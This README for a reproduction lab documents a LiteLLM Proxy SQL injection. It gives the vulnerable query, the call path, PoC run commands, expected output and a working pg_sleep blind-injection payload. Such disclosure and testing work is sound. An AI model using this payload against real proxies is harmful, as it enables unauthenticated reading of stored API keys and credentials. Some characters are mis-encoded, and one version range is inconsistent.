## https://sploitus.com/exploit?id=18D75F8D-7FA6-5462-8891-8883AD614E31
# LiteLLM Proxy SQL Injection (GHSA-r75f-5x8p-qvmc)
A reproduction environment for the SQL injection vulnerability in LiteLLM Proxy's API key authentication flow.
## Vulnerability Summary
| Item | Detail |
|------|--------|
| Advisory | [GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc) |
| Type | SQL Injection (CWE-89) |
| Severity | Critical |
| Affected | litellm >=1.81.16, =1.83.7 (commit `4dc416ee74`) |
## Attack Path
The injection occurs in the **error-handling callback path**, not the main authentication flow. When a non-`sk-` prefixed token is sent, the assertion fails and the raw (unhashed) token flows through the failure callback chain into a SQL query that uses f-string interpolation:
```
HTTP request: Authorization: Bearer
โ assert api_key.startswith("sk-") fails
โ _handle_authentication_error(api_key=RAW_TOKEN)
โ post_call_failure_hook
โ _enrich_failure_metadata_with_key_info
โ get_key_object(hashed_token=RAW_TOKEN)
โ get_data(token=RAW_TOKEN, table_name="combined_view")
โ SQL: WHERE v.token = '{RAW_TOKEN}' โ INJECTION
```
The main `sk-` authentication path is **not exploitable** because tokens are SHA256-hashed before reaching the query, producing only `[0-9a-f]` characters.
## Reproduction
### 1. Start the vulnerable environment
```bash
docker compose up -d
```
This starts LiteLLM Proxy (v1.83.3-stable) with a PostgreSQL backend.
### 2. Run the PoC
```bash
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
```
### Expected output
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ LiteLLM Proxy SQL Injection PoC โ
โ GHSA-r75f-5x8p-qvmc | CVE: Pending โ
โ Affected: litellm >=1.81.16, <1.83.7 โ
โ Attack: time-based blind via error-handling callback โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[*] Checking target: http://localhost:4000
[+] Target alive (status 200)
[*] Measuring baseline (3 requests)...
Baseline avg: 0.022s
[*] Control: non-sk- token without pg_sleep...
Control: 0.024s
=======================================================
Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Response: 5.018s
[+] VULNERABLE! pg_sleep(5) confirmed
```


## Technical Details
### Payload construction
PostgreSQL's `pg_sleep()` returns `void`, which cannot appear in a boolean context (`OR`). The payload wraps it in a subquery to avoid the type error:
```sql
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
```
This is injected into the `combined_view` query in `litellm/proxy/utils.py`:
```python
# Vulnerable code (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' โ f-string interpolation of user input
"""
```
### Impact
- **Unauthenticated** โ no valid API key required
- **Database read access** โ extract any data via blind injection (API keys, credentials, config)
- **All LLM provider keys** managed by the proxy are at risk
## References
- [GitHub Security Advisory](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc)
- [Fix commit 4dc416ee74](https://github.com/BerriAI/litellm/commit/4dc416ee74)
- [Sysdig TRT threat intelligence report](https://sysdig.com/blog/litellm-critical-sql-injection-vulnerability-exploited-in-the-wild/) โ observed in-the-wild exploitation within 36 hours of disclosure